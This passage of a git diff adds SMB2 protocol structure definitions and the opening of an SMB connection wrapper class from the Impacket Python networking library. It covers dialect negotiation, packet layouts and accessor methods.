+        ('Reserved','8s=""'),
+        ('CreateGuid','16s=""'),
+    )
+
+class SMB2_CREATE_DURABLE_HANDLE_RESPONSE_V2(Structure):
+    structure = (
+        ('Timeout','<L=0'),
+        ('Flags','<L=0'),
+    )
+
+class SMB2_CREATE_DURABLE_HANDLE_RECONNECT_V2(Structure):
+    structure = (
+        ('FileID',':', SMB2_FILEID),
+        ('CreateGuid','16s=""'),
+        ('Flags','<L=0'),
+    )
+
+class SMB2_CREATE_APP_INSTANCE_ID(Structure):
+    structure = (
+        ('StructureSize','<H=0'),
+        ('Reserved','<H=0'),
+        ('AppInstanceId','16s=""'),
+    )
+
+class SMB2_CREATE_QUERY_ON_DISK_ID(Structure):
+    structure = (
+        ('DiskIDBuffer','32s=""'),
+    )
+
+# Todo: Add Classes for
+#SMB2_CREATE_SD_BUFFER
+
+# SMB2_CLOSE
+class SMB2Close(Structure):
+    structure = (
+        ('StructureSize','<H=24'),
+        ('Flags','<H=0'),
+        ('Reserved','<L=0'),
+        ('FileID',':', SMB2_FILEID),
+    )
+
+class SMB2Close_Response(Structure):
+    structure = (
+        ('StructureSize','<H=60'),
+        ('Flags','<H=0'),
+        ('Reserved','<L=0'),
+        ('CreationTime','<Q=0'),
+        ('LastAccessTime','<Q=0'),
+        ('LastWriteTime','<Q=0'),
+        ('ChangeTime','<Q=0'),
+        ('AllocationSize','<Q=0'),
+        ('EndofFile','<Q=0'),
+        ('FileAttributes','<L=0'),
+    )
+
+# SMB2_FLUSH
+class SMB2Flush(Structure):
+    structure = (
+        ('StructureSize','<H=24'),
+        ('Reserved1','<H=0'),
+        ('Reserved2','<L=0'),
+        ('FileID',':',SMB2_FILEID),
+    )
+
+class SMB2Flush_Response(Structure):
+    structure = (
+        ('StructureSize','<H=4'),
+        ('Reserved','<H=0'),
+    )
+
+# SMB2_READ
+class SMB2Read(Structure):
+    SIZE = 48
+    structure = (
+        ('StructureSize','<H=49'),
+        ('Padding','<B=0'),
+        ('Reserved','<B=0'),
+        ('Length','<L=0'),
+        ('Offset','<Q=0'),
+        ('FileID',':',SMB2_FILEID),
+        ('MinimumCount','<L=0'),
+        ('Channel','<L=0'),
+        ('RemainingBytes','<L=0'),
+        ('ReadChannelInfoOffset','<H=0'),
+        ('ReadChannelInfoLength','<H=0'),
+        ('_AlignPad','_-AlignPad','self["ReadChannelInfoOffset"] - (64 + self["StructureSize"] - 1)'),
+        ('AlignPad',':=""'),
+        ('_Buffer','_-Buffer','self["ReadChannelInfoLength"]'),
+        ('Buffer',':="0"'),
+    )
+    def __init__(self, data = None):
+        Structure.__init__(self,data)
+        if data is None:
+            self['AlignPad'] = ''
+
+
+class SMB2Read_Response(Structure):
+    structure = (
+        ('StructureSize','<H=17'),
+        ('DataOffset','<B=0'),
+        ('Reserved','<B=0'),
+        ('DataLength','<L=0'),
+        ('DataRemaining','<L=0'),
+        ('Reserved2','<L=0'),
+        ('_AlignPad','_-AlignPad','self["DataOffset"] - (64 + self["StructureSize"] - 1)'),
+        ('AlignPad',':=""'),
+        ('_Buffer','_-Buffer','self["DataLength"]'),
+        ('Buffer',':'),
+    )
+
+# SMB2_WRITE
+class SMB2Write(Structure):
+    SIZE = 48
+    structure = (
+        ('StructureSize','<H=49'),
+        ('DataOffset','<H=(self.SIZE + 64 + len(self["AlignPad"]))'),
+        ('Length','<L=0'),
+        ('Offset','<Q=0'),
+        ('FileID',':',SMB2_FILEID),
+        ('Channel','<L=0'),
+        ('RemainingBytes','<L=0'),
+        ('WriteChannelInfoOffset','<H=0'),
+        ('WriteChannelInfoLength','<H=0'),
+        ('_AlignPad','_-AlignPad','self["DataOffset"] + self["WriteChannelInfoOffset"] - (64 + self["StructureSize"] - 1)'),
+        ('AlignPad',':=""'),
+        ('Flags','<L=0'),
+        ('_Buffer','_-Buffer','self["Length"]+self["WriteChannelInfoLength"]'),
+        ('Buffer',':'),
+    )
+    def __init__(self, data = None):
+        Structure.__init__(self,data)
+        if data is None:
+            self['AlignPad'] = ''
+
+
+class SMB2Write_Response(Structure):
+    structure = (
+        ('StructureSize','<H=17'),
+        ('Reserved','<H=0'),
+        ('Count','<L=0'),
+        ('Remaining','<L=0'),
+        ('WriteChannelInfoOffset','<H=0'),
+        ('WriteChannelInfoLength','<H=0'),
+    )
+
+class SMB2OplockBreakNotification(Structure):
+    structure = (
+        ('StructureSize','<H=24'),
+        ('OplockLevel','<B=0'),
+        ('Reserved','<B=0'),
+        ('Reserved2','<L=0'),
+        ('FileID',':',SMB2_FILEID),
+    )
+
+SMB2OplockBreakAcknowledgment = SMB2OplockBreakNotification
+SMB2OplockBreakResponse       = SMB2OplockBreakNotification
+
+class SMB2LeaseBreakNotification(Structure):
+    structure = (
+        ('StructureSize','<H=44'),
+        ('NewEpoch','<H=0'),
+        ('Flags','<L=0'),
+        ('LeaseKey','16s=""'),
+        ('CurrentLeaseState','<L=0'),
+        ('NewLeaseState','<L=0'),
+        ('BreakReason','<L=0'),
+        ('AccessMaskHint','<L=0'),
+        ('ShareMaskHint','<L=0'),
+    )
+
+class SMB2LeaseBreakAcknowledgement(Structure):
+    structure = (
+        ('StructureSize','<H=36'),
+        ('Reserved','<H=0'),
+        ('Flags','<L=0'),
+        ('LeaseKey','16s=""'),
+        ('LeaseState','<L=0'),
+        ('LeaseDuration','<Q=0'),
+    )
+
+SMB2LeaseBreakResponse = SMB2LeaseBreakAcknowledgement
+
+# SMB2_LOCK
+class SMB2_LOCK_ELEMENT(Structure):
+    structure = (
+        ('Offset','<Q=0'),
+        ('Length','<Q=0'),
+        ('Flags','<L=0'),
+        ('Reserved','<L=0'),
+    )
+
+class SMB2Lock(Structure):
+    structure = (
+        ('StructureSize','<H=48'),
+        ('LockCount','<H=0'),
+        ('LockSequence','<L=0'),
+        ('FileID',':',SMB2_FILEID),
+        ('_Locks','_-Locks','self["LockCount"]*24'),
+        ('Locks',':'),
+    )
+
+class SMB2Lock_Response(Structure):
+    structure = (
+        ('StructureSize','<H=4'),
+        ('Reserved','<H=0'),
+    )
+
+
+# SMB2_ECHO
+class SMB2Echo(Structure):
+    structure = (
+        ('StructureSize','<H=4'),
+        ('Reserved','<H=0'),
+    )
+
+SMB2Echo_Response = SMB2Echo
+
+# SMB2_CANCEL`
+class SMB2Cancel(Structure):
+    structure = (
+        ('StructureSize','<H=4'),
+        ('Reserved','<H=0'),
+    )
+
+# SMB2_IOCTL
+class SMB2Ioctl(Structure):
+    SIZE = 56
+    structure = (
+        ('StructureSize','<H=57'),
+        ('Reserved','<H=0'),
+        ('CtlCode','<L=0'),
+        ('FileID',':',SMB2_FILEID),
+        ('InputOffset','<L=(self.SIZE + 64 + len(self["AlignPad"]))'),
+        ('InputCount','<L=0'),
+        ('MaxInputResponse','<L=0'),
+        ('OutputOffset','<L=(self.SIZE + 64 + len(self["AlignPad"]) + self["InputCount"])'),
+        ('OutputCount','<L=0'),
+        ('MaxOutputResponse','<L=0'),
+        ('Flags','<L=0'),
+        ('Reserved2','<L=0'),
+        #('_AlignPad','_-AlignPad','self["InputOffset"] + self["OutputOffset"] - (64 + self["StructureSize"] - 1)'),
+        #('AlignPad',':=""'),
+        ('_Buffer','_-Buffer','self["InputCount"]+self["OutputCount"]'),
+        ('Buffer',':'),
+    )
+    def __init__(self, data = None):
+        Structure.__init__(self,data)
+        if data is None:
+            self['AlignPad'] = ''
+
+class FSCTL_PIPE_WAIT_STRUCTURE(Structure):
+    structure = (
+        ('Timeout','<q=0'),
+        ('NameLength','<L=0'),
+        ('TimeoutSpecified','<B=0'),
+        ('Padding','<B=0'),
+        ('_Name','_-Name','self["NameLength"]'),
+        ('Name',':'),
+    )
+
+class SRV_COPYCHUNK_COPY(Structure):
+    structure = (
+        ('SourceKey','24s=""'),
+        ('ChunkCount','<L=0'),
+        ('Reserved','<L=0'),
+        ('_Chunks','_-Chunks', 'self["ChunkCount"]*len(SRV_COPYCHUNK)'),
+        ('Chunks',':'),
+    )
+
+class SRV_COPYCHUNK(Structure):
+    structure = (
+        ('SourceOffset','<Q=0'),
+        ('TargetOffset','<Q=0'),
+        ('Length','<L=0'),
+        ('Reserved','<L=0'),
+    )
+
+class SRV_COPYCHUNK_RESPONSE(Structure):
+    structure = (
+        ('ChunksWritten','<L=0'),
+        ('ChunkBytesWritten','<L=0'),
+        ('TotalBytesWritten','<L=0'),
+    )
+
+class SRV_READ_HASH(Structure):
+    structure = (
+        ('HashType','<L=0'),
+        ('HashVersion','<L=0'),
+        ('HashRetrievalType','<L=0'),
+        ('Length','<L=0'),
+        ('Offset','<Q=0'),
+    )
+
+class NETWORK_RESILIENCY_REQUEST(Structure):
+    structure = (
+        ('Timeout','<L=0'),
+        ('Reserved','<L=0'),
+    )
+
+class VALIDATE_NEGOTIATE_INFO(Structure):
+    structure = (
+        ('Capabilities','<L=0'),
+        ('Guid','16s=""'),
+        ('SecurityMode','<H=0'),
+        #('DialectCount','<H=0'),
+        ('Dialects','<H*<H'),
+    )
+
+class VALIDATE_NEGOTIATE_INFO_RESPONSE(Structure):
+    structure = (
+        ('Capabilities','<L=0'),
+        ('Guid','16s=""'),
+        ('SecurityMode','<H=0'),
+        ('Dialect','<H'),
+    )
+
+class SRV_SNAPSHOT_ARRAY(Structure):
+    structure = (
+        ('NumberOfSnapShots','<L=0'),
+        ('NumberOfSnapShotsReturned','<L=0'),
+        ('SnapShotArraySize','<L=0'),
+        ('_SnapShots','_-SnapShots','self["SnapShotArraySize"]'),
+        ('SnapShots',':'),
+    )
+
+class SRV_REQUEST_RESUME_KEY(Structure):
+    structure = (
+        ('ResumeKey','24s=""'),
+        ('ContextLength','<L=0'),
+        ('_Context','_-Context','self["ContextLength"]'),
+        ('Context',':'),
+    )
+
+class HASH_HEADER(Structure):
+    structure = (
+        ('HashType','<L=0'),
+        ('HashVersion','<L=0'),
+        ('SourceFileChangeTime','<Q=0'),
+        ('SourceFileSize','<Q=0'),
+        ('HashBlobLength','<L=0'),
+        ('HashBlobOffset','<L=0'),
+        ('Dirty','<H=0'),
+        ('SourceFileNameLength','<L=0'),
+        ('_SourceFileName','_-SourceFileName','self["SourceFileNameLength"]',),
+        ('SourceFileName',':'),
+    )
+
+class SRV_HASH_RETRIEVE_HASH_BASED(Structure):
+    structure = (
+        ('Offset','<Q=0'),
+        ('BufferLength','<L=0'),
+        ('Reserved','<L=0'),
+        ('_Buffer','_-Buffer','self["BufferLength"]'),
+        ('Buffer',':'),
+    )
+
+class SRV_HASH_RETRIEVE_FILE_BASED(Structure):
+    structure = (
+        ('FileDataOffset','<Q=0'),
+        ('FileDataLength','<Q=0'),
+        ('BufferLength','<L=0'),
+        ('Reserved','<L=0'),
+        ('_Buffer','_-Buffer','self["BufferLength"]'),
+        ('Buffer',':'),
+    )
+
+class NETWORK_INTERFACE_INFO(Structure):
+    structure = (
+        ('Next','<L=0'),
+        ('IfIndex','<L=0'),
+        ('Capability','<L=0'),
+        ('Reserved','<L=0'),
+        ('LinkSpeed','<Q=0'),
+        ('SockAddr_Storage','128s=""'),
+    )
+
+class MOUNT_POINT_REPARSE_DATA_STRUCTURE(Structure):
+    structure = (
+        ("ReparseTag", "<L=0xA0000003"),
+        ("ReparseDataLen", "<H=len(self['PathBuffer']) + 8"),
+        ("Reserved", "<H=0"),
+        ("SubstituteNameOffset", "<H=0"),
+        ("SubstituteNameLength", "<H=0"),
+        ("PrintNameOffset", "<H=0"),
+        ("PrintNameLength", "<H=0"),
+        ("PathBuffer", ":")
+    )
+
+class MOUNT_POINT_REPARSE_GUID_DATA_STRUCTURE(Structure):
+    structure = (
+        ("ReparseTag", "<L=0xA0000003"),
+        ("ReparseDataLen", "<H=len(self['DataBuffer'])"),
+        ("Reserved", "<H=0"),
+        ("ReparseGuid", "16s=''"),
+        ("DataBuffer", ":")
+    )
+
+class SMB2Ioctl_Response(Structure):
+    structure = (
+        ('StructureSize','<H=49'),
+        ('Reserved','<H=0'),
+        ('CtlCode','<L=0'),
+        ('FileID',':',SMB2_FILEID),
+        ('InputOffset','<L=0'),
+        ('InputCount','<L=0'),
+        ('OutputOffset','<L=0'),
+        ('OutputCount','<L=0'),
+        ('Flags','<L=0'),
+        ('Reserved2','<L=0'),
+        ('_AlignPad','_-AlignPad','self["OutputOffset"] - (64 + self["StructureSize"] - 1)'),
+        ('AlignPad',':=""'),
+        ('_Buffer','_-Buffer','self["InputCount"]+self["OutputCount"]'),
+        ('Buffer',':'),
+    )
+
+# SMB2_QUERY_DIRECTORY
+class SMB2QueryDirectory(Structure):
+    SIZE = 32
+    structure = (
+        ('StructureSize','<H=33'),
+        ('FileInformationClass','<B=0'),
+        ('Flags','<B=0'),
+        ('FileIndex','<L=0'),
+        ('FileID',':',SMB2_FILEID),
+        ('FileNameOffset','<H=(self.SIZE + 64 + len(self["AlignPad"]))'),
+        ('FileNameLength','<H=0'),
+        ('OutputBufferLength','<L=0'),
+        ('_AlignPad','_-AlignPad','self["FileNameOffset"] - (64 + self["StructureSize"] - 1)'),
+        ('AlignPad',':=""'),
+        ('_Buffer','_-Buffer','self["FileNameLength"]'),
+        ('Buffer',':'),
+    )
+    def __init__(self, data = None):
+        Structure.__init__(self,data)
+        if data is None:
+            self['AlignPad'] = ''
+
+class SMB2QueryDirectory_Response(Structure):
+    structure = (
+        ('StructureSize','<H=9'),
+        ('OutputBufferOffset','<H=0'),
+        ('OutputBufferLength','<L=0'),
+        ('_AlignPad','_-AlignPad','self["OutputBufferOffset"] - (64 + self["StructureSize"] - 1)'),
+        ('AlignPad',':=""'),
+        ('_Buffer','_-Buffer','self["OutputBufferLength"]'),
+        ('Buffer',':'),
+    )
+
+# SMB2_CHANGE_NOTIFY
+class SMB2ChangeNotify(Structure):
+    structure = (
+        ('StructureSize','<H=32'),
+        ('Flags','<H=0'),
+        ('OutputBufferLength','<L=0'),
+        ('FileID',':',SMB2_FILEID),
+        ('CompletionFilter','<L=0'),
+        ('Reserved','<L=0'),
+    )
+
+class SMB2ChangeNotify_Response(Structure):
+    structure = (
+        ('StructureSize','<H=9'),
+        ('OutputBufferOffset','<H=0'),
+        ('OutputBufferLength','<L=0'),
+        ('_AlignPad','_-AlignPad','self["OutputBufferOffset"] - (64 + self["StructureSize"] - 1)'),
+        ('AlignPad',':=""'),
+        ('_Buffer','_-Buffer','self["OutputBufferLength"]'),
+        ('Buffer',':'),
+    )
+
+class FILE_NOTIFY_INFORMATION(Structure):
+    structure = (
+        ('NextEntryOffset','<L=0'),
+        ('Action','<L=0'),
+        ('FileNameLength','<L=0'),
+        ('_FileName','_-FileName','self["FileNameLength"]',),
+        ('FileName',':'),
+    )
+
+# SMB2_QUERY_INFO
+class SMB2QueryInfo(Structure):
+    SIZE = 40
+    structure = (
+       ('StructureSize','<H=41'),
+       ('InfoType','<B=0'),
+       ('FileInfoClass','<B=0'),
+       ('OutputBufferLength','<L=0'),
+       ('InputBufferOffset','<H=(self.SIZE + 64 + len(self["AlignPad"]))'),
+       ('Reserved','<H=0'),
+       ('InputBufferLength','<L=0'),
+       ('AdditionalInformation','<L=0'),
+       ('Flags','<L=0'),
+       ('FileID',':',SMB2_FILEID),
+       ('_AlignPad','_-AlignPad','self["InputBufferOffset"] - (64 + self["StructureSize"] - 1)'),
+       ('AlignPad',':=""'),
+       ('_Buffer','_-Buffer','self["InputBufferLength"]'),
+       ('Buffer',':'),
+    )
+    def __init__(self, data = None):
+        Structure.__init__(self,data)
+        if data is None:
+            self['AlignPad'] = ''
+
+
+class SMB2_QUERY_QUOTA_INFO(Structure):
+    structure = (
+        ('ReturnSingle','<B=0'),
+        ('RestartScan','<B=0'),
+        ('Reserved','<H=0'),
+        ('SidListLength','<L=0'),
+        ('StartSidLength','<L=0'),
+        ('StartSidOffset','<L=0'),
+        # ToDo: Check 2.2.37.1 here
+        ('SidBuffer',':'),
+    )
+
+class SMB2QueryInfo_Response(Structure):
+   structure = (
+       ('StructureSize','<H=9'),
+       ('OutputBufferOffset','<H=0'),
+       ('OutputBufferLength','<L=0'),
+       ('_AlignPad','_-AlignPad','self["OutputBufferOffset"] - (64 + self["StructureSize"] - 1)'),
+       ('AlignPad',':=""'),
+       ('_Buffer','_-Buffer','self["OutputBufferLength"]'),
+       ('Buffer',':'),
+   )
+
+class FILE_BASIC_INFORMATION (Structure):
+    structure = (
+        ('CreationTime','<q'),
+        ('LastAccessTime','<q'),
+        ('LastWriteTime','<q'),
+        ('ChangeTime','<q'),
+        ('FileAttributes','<L'),
+        ('Reserved','<L=0'),
+    )
+
+class FILE_STANDARD_INFORMATION (Structure):
+    structure = (
+        ('AllocationSize','<q'),
+        ('EndOfFile','<q'),
+        ('NumberOfLinks','<L'),
+        ('DeletePending','<B=0'),
+        ('Directory','<B'),
+        ('Reserved','<H=0'),
+    )
+
+class FILE_INTERNAL_INFORMATION (Structure):
+    structure = (
+        ('IndexNumber','<q=0'),
+    )
+
+class FILE_EA_INFORMATION (Structure):
+    structure = (
+        ('EaSize','<L'),
+    )
+
+class FILE_ACCESS_INFORMATION (Structure):
+    structure = (
+        ('AccessFlags','<L'),
+    )
+
+class FILE_POSITION_INFORMATION (Structure):
+    structure = (
+        ('CurrentByteOffset','<Q'),
+    )
+
+class FILE_MODE_INFORMATION (Structure):
+    structure = (
+        ('Mode','<L=0'),
+    )
+
+class FILE_ALIGNMENT_INFORMATION (Structure):
+    structure = (
+        ('AlignmentRequirement','<L'),
+    )
+
+class FILE_NAME_INFORMATION (Structure):
+    structure = (
+        ('FileNameLength','<L=0'),
+        ('_FileName','_-FileName', 'self["FileNameLength"]'),
+        ('FileName',':'),
+    )
+
+class FILE_ALL_INFORMATION(Structure):
+    structure = (
+        ('BasicInformation',':',FILE_BASIC_INFORMATION),
+        ('StandardInformation',':',FILE_STANDARD_INFORMATION),
+        ('InternalInformation',':',FILE_INTERNAL_INFORMATION),
+        ('EaInformation',':',FILE_EA_INFORMATION),
+        ('AccessInformation',':',FILE_ACCESS_INFORMATION),
+        ('PositionInformation',':',FILE_POSITION_INFORMATION),
+        ('ModeInformation',':',FILE_MODE_INFORMATION),
+        ('AlignmentInformation',':',FILE_ALIGNMENT_INFORMATION),
+        ('NameInformation',':',FILE_NAME_INFORMATION),
+    )
+
+# SMB2_SET_INFO
+class SMB2SetInfo(Structure):
+    SIZE = 32
+    structure = (
+       ('StructureSize','<H=33'),
+       ('InfoType','<B=0'),
+       ('FileInfoClass','<B=0'),
+       ('BufferLength','<L=0'),
+       ('BufferOffset','<H=(self.SIZE + 64 + len(self["AlignPad"]))'),
+       ('Reserved','<H=0'),
+       ('AdditionalInformation','<L=0'),
+       ('FileID',':',SMB2_FILEID),
+       ('_AlignPad','_-AlignPad','self["BufferOffset"] - (64 + self["StructureSize"] - 1)'),
+       ('AlignPad',':=""'),
+       ('_Buffer','_-Buffer','self["BufferLength"]'),
+       ('Buffer',':'),
+    )
+    def __init__(self, data = None):
+        Structure.__init__(self,data)
+        if data is None:
+            self['AlignPad'] = ''
+
+class SMB2SetInfo_Response(Structure):
+    structure = (
+       ('StructureSize','<H=2'),
+    )
+
+class FILE_RENAME_INFORMATION_TYPE_2(Structure):
+    structure = (
+        ('ReplaceIfExists','<B=0'),
+        ('Reserved','7s=""'),
+        ('RootDirectory','<Q=0'),
+        ('FileNameLength','<L=0'),
+        ('_FileName','_-FileName','self["FileNameLength"]'),
+        ('FileName',':'),
+    )
+
+class SMB2_TRANSFORM_HEADER(Structure):
+    structure = (
+        ('ProtocolID','"\xfdSMB'),
+        ('Signature','16s=""'),
+        ('Nonce','16s=""'),
+        ('OriginalMessageSize','<L=0'),
+        ('Reserved','<H=0'),
+        ('EncryptionAlgorithm','<H=0'),
+        ('SessionID','<Q=0'),
+    )
+
+class SMB2_COMPRESSION_TRANSFORM_HEADER(Structure):
+    structure = (
+        ('ProtocolID','<L=0'),
+        ('OriginalCompressedSegmentSize','<L=0'),
+        ('CompressionAlgorithm','<H=0'),
+        ('Flags','<H=0'),
+        ('Offset_Length','<L=0'),
+    )
+
+class SMB2_COMPRESSION_PAYLOAD_HEADER(Structure):
+    structure = (
+        ('AlgorithmId','<H=0'),
+        ('Reserved','<H=0'),
+        ('Length','<L=0'),
+    )
+
+class SMB2_COMPRESSION_PATTERN_PAYLOAD_V1(Structure):
+    structure = (
+        ('Pattern','B=0'),
+        ('Reserved1','B=0'),
+        ('Reserved2','B=0'),
+        ('Repetitions','<L=0'),
+    )
+
+# SMB2_SEC_INFO_00
+class FileSecInformation(Structure):
+    structure = (
+        ('Revision','<h=1'),
+        ('Type','<h=0'),
+        ('OffsetToOwner','<I=0'),
+        ('OffsetToGroup','<I=0'),
+        ('OffsetToSACL','<I=0'),
+        ('OffsetToDACL','<I=0'),
+    )
diff --git a/impacket/smbconnection.py b/impacket/smbconnection.py
new file mode 100644
index 0000000..a4e0fe7
--- /dev/null
+++ b/impacket/smbconnection.py
@@ -0,0 +1,995 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Wrapper class for SMB1/2/3 so it's transparent for the client.
+#   You can still play with the low level methods (version dependent)
+#   by calling getSMBServer()
+#
+# Author: Alberto Solino (@agsolino)
+#
+
+import ntpath
+import socket
+
+from impacket import smb, smb3, nmb, nt_errors, LOG
+from impacket.ntlm import compute_lmhash, compute_nthash
+from impacket.smb3structs import SMB2Packet, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, GENERIC_ALL, FILE_SHARE_READ, \
+    FILE_SHARE_WRITE, FILE_SHARE_DELETE, FILE_NON_DIRECTORY_FILE, FILE_OVERWRITE_IF, FILE_ATTRIBUTE_NORMAL, \
+    SMB2_IL_IMPERSONATION, SMB2_OPLOCK_LEVEL_NONE, FILE_READ_DATA , FILE_WRITE_DATA, FILE_OPEN, GENERIC_READ, GENERIC_WRITE, \
+    FILE_OPEN_REPARSE_POINT, MOUNT_POINT_REPARSE_DATA_STRUCTURE, FSCTL_SET_REPARSE_POINT, SMB2_0_IOCTL_IS_FSCTL, \
+    MOUNT_POINT_REPARSE_GUID_DATA_STRUCTURE, FSCTL_DELETE_REPARSE_POINT, FSCTL_SRV_ENUMERATE_SNAPSHOTS, SRV_SNAPSHOT_ARRAY, \
+    FILE_SYNCHRONOUS_IO_NONALERT, FILE_READ_EA, FILE_READ_ATTRIBUTES, READ_CONTROL, SYNCHRONIZE, SMB2_DIALECT_311
+
+
+# So the user doesn't need to import smb, the smb3 are already in here
+SMB_DIALECT = smb.SMB_DIALECT
+
+class SMBConnection:
+    """
+    SMBConnection class
+
+    :param string remoteName: name of the remote host, can be its NETBIOS name, IP or *\\*SMBSERVER*.  If the later,
+           and port is 139, the library will try to get the target's server name.
+    :param string remoteHost: target server's remote address (IPv4, IPv6) or FQDN
+    :param string/optional myName: client's NETBIOS name
+    :param integer/optional sess_port: target port to connect
+    :param integer/optional timeout: timeout in seconds when receiving packets
+    :param optional preferredDialect: the dialect desired to talk with the target server. If not specified the highest
+           one available will be used
+    :param optional boolean manualNegotiate: the user manually performs SMB_COM_NEGOTIATE
+
+    :return: a SMBConnection instance, if not raises a SessionError exception
+    """
+
+    def __init__(self, remoteName='', remoteHost='', myName=None, sess_port=nmb.SMB_SESSION_PORT, timeout=60, preferredDialect=None,
+                 existingConnection=None, manualNegotiate=False):
+
+        self._SMBConnection = 0
+        self._dialect       = ''
+        self._nmbSession    = 0
+        self._sess_port     = sess_port
+        self._myName        = myName
+        self._remoteHost    = remoteHost
+        self._remoteName    = remoteName
+        self._timeout       = timeout
+        self._preferredDialect = preferredDialect
+        self._existingConnection = existingConnection
+        self._manualNegotiate = manualNegotiate
+        self._doKerberos = False
+        self._kdcHost = None
+        self._useCache = True
+        self._ntlmFallback = True
+
+        if existingConnection is not None:
+            # Existing Connection must be a smb or smb3 instance
+            assert ( isinstance(existingConnection,smb.SMB) or isinstance(existingConnection, smb3.SMB3))
+            self._SMBConnection = existingConnection
+            self._preferredDialect = self._SMBConnection.getDialect()
+            self._doKerberos = self._SMBConnection.getKerberos()
+            return
+
+        ##preferredDialect = smb.SMB_DIALECT
+
+        if manualNegotiate is False:
+            self.negotiateSession(preferredDialect)
+
+    def negotiateSession(self, preferredDialect=None,
+                         flags1=smb.SMB.FLAGS1_PATHCASELESS | smb.SMB.FLAGS1_CANONICALIZED_PATHS,
+                         flags2=smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES,
+                         negoData='\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'):
+        """
+        Perform protocol negotiation
+
+        :param string preferredDialect: the dialect desired to talk with the target server. If None is specified the highest one available will be used
+        :param string flags1: the SMB FLAGS capabilities
+        :param string flags2: the SMB FLAGS2 capabilities
+        :param string negoData: data to be sent as part of the nego handshake
+
+        :return: True
+        :raise SessionError: if error
+        """
+
+        # If port 445 and the name sent is *SMBSERVER we're setting the name to the IP. This is to help some old
+        # applications still believing
+        # *SMSBSERVER will work against modern OSes. If port is NETBIOS_SESSION_PORT the user better know about i
+        # *SMBSERVER's limitations
+        if self._sess_port == nmb.SMB_SESSION_PORT and self._remoteName == '*SMBSERVER':
+            self._remoteName = self._remoteHost
+        elif self._sess_port == nmb.NETBIOS_SESSION_PORT and self._remoteName == '*SMBSERVER':
+            # If remote name is *SMBSERVER let's try to query its name.. if can't be guessed, continue and hope for the best
+            nb = nmb.NetBIOS()
+            try:
+                res = nb.getnetbiosname(self._remoteHost)
+            except:
+                pass
+            else:
+                self._remoteName = res
+
+        if self._sess_port == nmb.NETBIOS_SESSION_PORT:
+            negoData = '\x02NT LM 0.12\x00\x02SMB 2.002\x00'
+
+        hostType = nmb.TYPE_SERVER
+        if preferredDialect is None:
+            # If no preferredDialect sent, we try the highest available one.
+            packet = self.negotiateSessionWildcard(self._myName, self._remoteName, self._remoteHost, self._sess_port,
+                                                   self._timeout, True, flags1=flags1, flags2=flags2, data=negoData)
+            if packet[0:1] == b'\xfe':
+                # Answer is SMB2 packet
+                self._SMBConnection = smb3.SMB3(self._remoteName, self._remoteHost, self._myName, hostType,
+                                                self._sess_port, self._timeout, session=self._nmbSession,
+                                                negSessionResponse=SMB2Packet(packet))
+            else:
+                # Answer is SMB packet, sticking to SMBv1
+                self._SMBConnection = smb.SMB(self._remoteName, self._remoteHost, self._myName, hostType,
+                                              self._sess_port, self._timeout, session=self._nmbSession,
+                                              negPacket=packet)
+        else:
+            if preferredDialect == smb.SMB_DIALECT:
+                self._SMBConnection = smb.SMB(self._remoteName, self._remoteHost, self._myName, hostType,
+                                              self._sess_port, self._timeout)
+            elif preferredDialect in [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, SMB2_DIALECT_311]:
+                self._SMBConnection = smb3.SMB3(self._remoteName, self._remoteHost, self._myName, hostType,
+                                                self._sess_port, self._timeout, preferredDialect=preferredDialect)
+            else:
+                raise Exception("Unknown dialect %s")
+
+        # propagate flags to the smb sub-object, except for Unicode (if server supports)
+        # does not affect smb3 objects
+        if isinstance(self._SMBConnection, smb.SMB):
+            if self._SMBConnection.get_flags()[1] & smb.SMB.FLAGS2_UNICODE:
+                flags2 |= smb.SMB.FLAGS2_UNICODE
+            self._SMBConnection.set_flags(flags1=flags1, flags2=flags2)
+
+        return True
+
+    def negotiateSessionWildcard(self, myName, remoteName, remoteHost, sess_port, timeout, extended_security=True, flags1=0,
+                                 flags2=0, data=None):
+        # Here we follow [MS-SMB2] negotiation handshake trying to understand what dialects
+        # (including SMB1) is supported on the other end.
+
+        if not myName:
+            myName = socket.gethostname()
+            i = myName.find('.')
+            if i > -1:
+                myName = myName[:i]
+
+        tries = 0
+        smbp = smb.NewSMBPacket()
+        smbp['Flags1'] = flags1
+        # FLAGS2_UNICODE is required by some stacks to continue, regardless of subsequent support
+        smbp['Flags2'] = flags2 | smb.SMB.FLAGS2_UNICODE
+        resp = None
+        while tries < 2:
+            self._nmbSession = nmb.NetBIOSTCPSession(myName, remoteName, remoteHost, nmb.TYPE_SERVER, sess_port,
+                                                     timeout)
+
+            negSession = smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE)
+            if extended_security is True:
+                smbp['Flags2'] |= smb.SMB.FLAGS2_EXTENDED_SECURITY
+            negSession['Data'] = data
+            smbp.addCommand(negSession)
+            self._nmbSession.send_packet(smbp.getData())
+
+            try:
+                resp = self._nmbSession.recv_packet(timeout)
+                break
+            except nmb.NetBIOSError:
+                # OSX Yosemite asks for more Flags. Let's give it a try and see what happens
+                smbp['Flags2'] |= smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | smb.SMB.FLAGS2_UNICODE
+                smbp['Data'] = []
+
+            tries += 1
+
+        if resp is None:
+            # No luck, quitting
+            raise Exception('No answer!')
+
+        return resp.get_trailer()
+
+
+    def getNMBServer(self):
+        return self._nmbSession
+
+    def getSMBServer(self):
+        """
+        returns the SMB/SMB3 instance being used. Useful for calling low level methods
+        """
+        return self._SMBConnection
+
+    def getDialect(self):
+        return self._SMBConnection.getDialect()
+
+    def getServerName(self):
+        return self._SMBConnection.get_server_name()
+
+    def getClientName(self):
+        return self._SMBConnection.get_client_name()
+
+    def getRemoteHost(self):
+        return self._SMBConnection.get_remote_host()
+
+    def getRemoteName(self):
+        return self._SMBConnection.get_remote_name()
+
+    def setRemoteName(self, name):
+        return self._SMBConnection.set_remote_name(name)
+
+    def getServerDomain(self):
+        return self._SMBConnection.get_server_domain()
+
+    def getServerDNSDomainName(self):
